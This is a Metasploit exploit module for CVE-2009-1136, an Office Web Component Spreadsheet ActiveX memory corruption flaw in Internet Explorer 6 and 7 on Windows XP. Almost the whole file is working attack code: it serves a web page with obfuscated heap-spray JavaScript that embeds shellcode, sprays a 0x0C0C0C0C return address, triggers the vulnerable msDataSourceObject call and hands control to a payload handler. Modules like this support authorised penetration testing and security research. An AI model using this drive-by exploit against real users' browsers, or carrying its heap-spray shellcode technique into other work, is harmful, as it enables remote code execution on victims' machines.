##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft OWC Spreadsheet msDataSourceObject Memory Corruption',
      'Description'    => %q{
        This module exploits a memory corruption vulnerability within versions 10 and 11 of
        the Office Web Component Spreadsheet ActiveX control. This module was based on
        an exploit found in the wild.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'unknown', 'hdm', 'Ahmed Obied', 'DSR! <xchwarze[at]gmail.com>' ],
      'References'     =>
        [
          [ 'CVE', '2009-1136' ],
          [ 'OSVDB', '55806' ],
          [ 'MSB', 'MS09-043' ],
          [ 'URL', 'http://ahmed.obied.net/software/code/exploits/ie_owc.py' ],
          [ 'EDB', '9163' ],
          [ 'URL', 'https://web.archive.org/web/20090716143635/http://xeye.us/blog/2009/07/one-0day/' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'           => 1024,
          'BadChars'        => '',
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ] # other exploits use 0x0b0c0b0c
        ],
      'DisclosureDate' => '2009-07-13',
      'DefaultTarget'  => 0))

      @javascript_encode_key = rand_text_alpha(rand(10) + 10)
  end

  def on_request_uri(cli, request)

    # Send a redirect with the javascript encoding key
    #if (!request.uri.match(/\?\w+/))
    #	send_local_redirect(cli, "?#{@javascript_encode_key}")
    #	return
    #end

    return if ((p = regenerate_payload(cli)) == nil)

    print_status("Sending #{self.name}")


    shellcode = Rex::Text.to_unescape(p.encoded)
    retaddr   = Rex::Text.to_unescape([target.ret].pack('V'))

    js = %Q|
var xshellcode = unescape("#{shellcode}");

var xarray = new Array();
var xls = 0x81000-(xshellcode.length*2);
var xbigblock = unescape("#{retaddr}");

while( xbigblock.length < xls / 2) { xbigblock += xbigblock; }
var xlh = xbigblock.substring(0, xls / 2);
delete xbigblock;

for(xi=0; xi<0x99*2; xi++) {
  xarray[xi] = xlh + xlh + xshellcode;
}

CollectGarbage();

var xobj;
try {
  xobj = new ActiveXObject("OWC10.Spreadsheet");
} catch(err) {
  try {
    xobj = new ActiveXObject("OWC11.Spreadsheet");
  } catch(err) {
  }
}

xe = new Array();
xe.push(1);
xe.push(2);
xe.push(0);
xe.push(window);

for(xi=0; xi < xe.length; xi++){
  for(xj=0; xj<10; xj++){
    try { xobj.Evaluate(xe[xi]); } catch(e) { }
  }
}

window.status = xe[3] + '';

for(xj=0; xj<10; xj++){
  try{ xobj.msDataSourceObject(xe[3]); } catch(e) { }
}
|

    # Obfuscate it up a bit
    js = obfuscate_js(js,
      'Symbols' =>  {
        'Variables' => %W{ xshellcode xarray xls xbigblock xlh xi xobj xe xj err}
      }
    ).to_s


    # Encode the javascript payload with the URI key
    # js = encrypt_js(js, @javascript_encode_key)

    # Fire off the page to the client
    send_response(cli, "<html><script language='javascript'>#{js}</script></html>")

    # Handle the payload
    handler(cli)
  end
end
